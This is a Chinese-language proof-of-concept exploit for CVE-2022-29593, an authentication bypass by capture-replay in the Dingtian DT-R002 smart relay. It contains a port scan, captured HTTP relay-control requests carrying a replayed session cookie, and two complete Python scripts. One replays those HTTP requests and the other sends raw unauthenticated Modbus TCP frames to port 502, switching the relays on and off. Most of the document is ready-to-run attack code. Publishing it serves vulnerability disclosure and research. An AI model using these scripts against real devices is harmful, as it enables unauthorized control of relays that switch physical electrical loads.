针对CVE-2022-29593的PoC漏洞利用,演示通过捕获重放对Dingtian DT-R002智能继电器进行身份验证绕过,包括HTTP和Modbus重放攻击。

通过捕获重放绕过认证 发布时间:版本:1.0 厂商:深圳市鼎天科技有限公司 产品:2通道继电器板/继电器卡 受影响版本:固件 V3.1.276A
概述
支持多通道继电器,开/关/延时/点动
支持多种接口 RJ45/RS485/CAN/WIFI
本地按键控制
PC 应用配置和控制
WEB 配置和控制
8KB FIFO 命令缓冲区
支持密码
WIFI 智能配置支持
按键控制
MQTT/Modbus/CoAP
技术参数
接口 RJ45/RS485/CAN/WIFI
波特率 100M/115200bps/125kbps/150Mbps
协议 TCP 服务器/客户端,UDP 服务器/客户端,RS485,CAN,WIFI
工作温度 -10~+75°C
存储温度 -40~+125°C
相对湿度 5~95% RH,无凝结
电源 9-40V 无极性
电流 1A@12V DC
功耗 <5W
继电器参数
继电器电源 AC 250V/10A,DC 30V/10A
延时 1~65535 秒
点动 吸合 0.5 秒,自动释放
电源 无极性
DC 9~40V 无极性
>
nmap -p- --open -Pn 192.168.7.1
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
502/tcp open mbap
>
打开
请求
GET /relay_cgi.cgi?type=0&relay=0&on=1&time=0&pwd=0& HTTP/1.1
Host: 192.168.7.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.7.1/relay_cgi.html
Cookie: session=4463009
响应
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 11
&0&0&0&1&0&
关闭
请求
GET /relay_cgi.cgi?type=0&relay=0&on=0&time=0&pwd=0& HTTP/1.1
Host: 192.168.7.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.7.1/relay_cgi.html
Cookie: session=4463009
响应
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 11
&0&0&0&0&0&
#!/usr/local/bin/python3
# 作者: Victor Hanna (Exploit Security)
# 鼎天 DT-R002 2CH 智能继电器
# CWE-294 - 通过捕获重放绕过认证
import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def banner():
print ("[+]********************************************************************************[+]")
print ("| 作者 : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t |")
print ("| 描述: 鼎天 DT-R002 2CH 智能继电器 |")
print ("| 用法 : "+sys.argv[0]+" <主机> <继电器编号> |")
print ("[+]********************************************************************************[+]")
def main():
os.system('clear')
banner()
urlRelay1On = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=1&time=0&pwd=0&"
urlRelay1Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=0&time=0&pwd=0&"
urlRelay2On = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=1&time=0&pwd=0&"
urlRelay2Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=0&time=0&pwd=0&"
headers = {
"Host": ""+host+"",
"User-Agent": "9lyph/3.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"DNT": "1",
"Connection": "close",
"Referer": "http://"+host+"/relay_cgi.html",
"Cookie": "session=4463009"
}
print (Fore.YELLOW + f"[+] 正在利用" + Style.RESET_ALL, flush=True, end=" ")
for i in range(5):
time.sleep (1)
print (Fore.YELLOW + "." + Style.RESET_ALL, flush=True, end="")
try:
if (relay == "1"):
print (Fore.GREEN + "\n[+] 继电器 1 打开!" + Style.RESET_ALL)
r = requests.get(urlRelay1On)
time.sleep (5)
print (Fore.GREEN + "[+] 继电器 1 关闭!" + Style.RESET_ALL)
r = requests.get(urlRelay1Off)
print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")
elif (relay == "2"):
print (Fore.GREEN + "[+] 继电器 2 打开!" + Style.RESET_ALL)
r = requests.get(urlRelay2On)
time.sleep (5)
print (Fore.GREEN + "[+] 继电器 2 关闭!" + Style.RESET_ALL)
r = requests.get(urlRelay2Off)
print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")
else:
print (Fore.RED + "[!] 没有这个继电器" + Style.RESET_ALL)
except KeyboardInterrupt:
sys.exit(1)
except requests.exceptions.Timeout:
print ("[!] 连接主机超时!")
sys.exit(1)
except requests.exceptions.Timeout:
print ("[!] 连接主机超时!")
sys.exit(1)
except Exception as e:
print (Fore.RED + f"[+] 抱歉,失败了!" + Style.RESET_ALL)
if __name__ == "__main__":
if len(sys.argv)>2:
host = sys.argv[1]
relay = sys.argv[2]
main ()
else:
print (Fore.RED + f"[+] 参数不足,请指定目标和继电器编号!" + Style.RESET_ALL)
还可以使用 Modbus 协议打开和关闭继电器。运行在 TCP 502 上的 Modbus 协议存在一定的不安全性,允许无需认证即可读写寄存器。
import socket
import sys
import os
import time
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
'''
4.3.2 0x06:写单个寄存器
4路继电器全部打开
发送:
0000 0000 0006 FF 06 0002 0f0f
接收:
0000 0000 0006 FF 06 0002 0f0f
4路继电器全部关闭
发送:
0000 0000 0006 FF 06 0002 0f00
接收:
01 06 0002 0f00 2DFA
0000 0000 0006 FF 06 00020f0f
<2字节事务ID> |<2字节协议ID>|<2字节长度>|<1字节单元ID>|<1字节功能码>|<用于响应或命令的数据>
事务ID: 用于服务器和客户端之间的同步
协议ID: ModBusTCP 中为0
长度字段: 帧中剩余字节数
单元标识符: 服务器地址(255 或 FF 如果未使用)
功能码: 与其他变体中的功能码相同
数据字节: 用于命令或响应的数据
- 功能码 06 (写单个寄存器) [请求]
- 要预置/写入的保持寄存器地址(2字节)
- 保持寄存器的新值(2字节)
'''
def banner():
print ("[+]********************************************************************************[+]")
print ("| 作者 : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t |")
print ("| 描述: 鼎天 DT-R002 2CH 智能继电器 |")
print ("| 用法 : "+sys.argv[0]+" <主机> |")
print ("[+]********************************************************************************[+]")
def main():
os.system('clear')
banner()
s = socket.socket()
try:
s.connect((host, 502))
print (Fore.GREEN + "[+] " + Fore.WHITE + "T" + Fore.GREEN + "u" + Fore.WHITE + "r" + Fore.GREEN + "n" + Fore.WHITE + "i" + Fore.GREEN + "n" + Fore.WHITE + "g" + Fore.GREEN + "R" + Fore.WHITE + "e" + Fore.GREEN + "l" + Fore.WHITE + "a" + Fore.GREEN + "y" + Fore.WHITE + " O" + Fore.GREEN + "n" + Style.RESET_ALL)
on = ("000000000006FF0600020f0f")
off = ("000000000006FF0600020f00")
# read = ("000000000006FF0400020001")
s.sendall((bytes.fromhex(on)))
time.sleep(10)
print (Fore.RED + "[+]" + Fore.WHITE + "T" + Fore.RED + "u" + Fore.WHITE + "r" + Fore.RED + "n" + Fore.WHITE + "i" + Fore.RED + "n" + Fore.WHITE + "g" + Fore.RED + " R" + Fore.WHITE + "e" + Fore.RED +"l" +Fore.WHITE + "a" +Fore.RED + "y" + Fore.WHITE + " O" + Fore.RED + "f" +Fore.WHITE + "f")
s.sendall((bytes.fromhex(off)))
data = s.recv(1024)
print (Fore.BLUE + "[+]" + Fore.WHITE + "P" + "w" + Fore.BLUE + "n" + Fore.WHITE + "e" + Fore.BLUE + "d" + Fore.WHITE + "!" + Fore.BLUE + "!" + Style.RESET_ALL)
except socket.timeout:
print (f"[!] 无法连接到目标: {host} !!")
except Exception as e:
print(e)
if __name__ == "__main__":
if len(sys.argv)>1:
host = sys.argv[1]
main ()
else:
print (Fore.RED + f"[+] 参数不足,请指定目标!" + Style.RESET_ALL)
>
>
ESP32 MCU - https://fccid.io/2AC7Z-ESP32
>
Victor Hanna of Exploit Security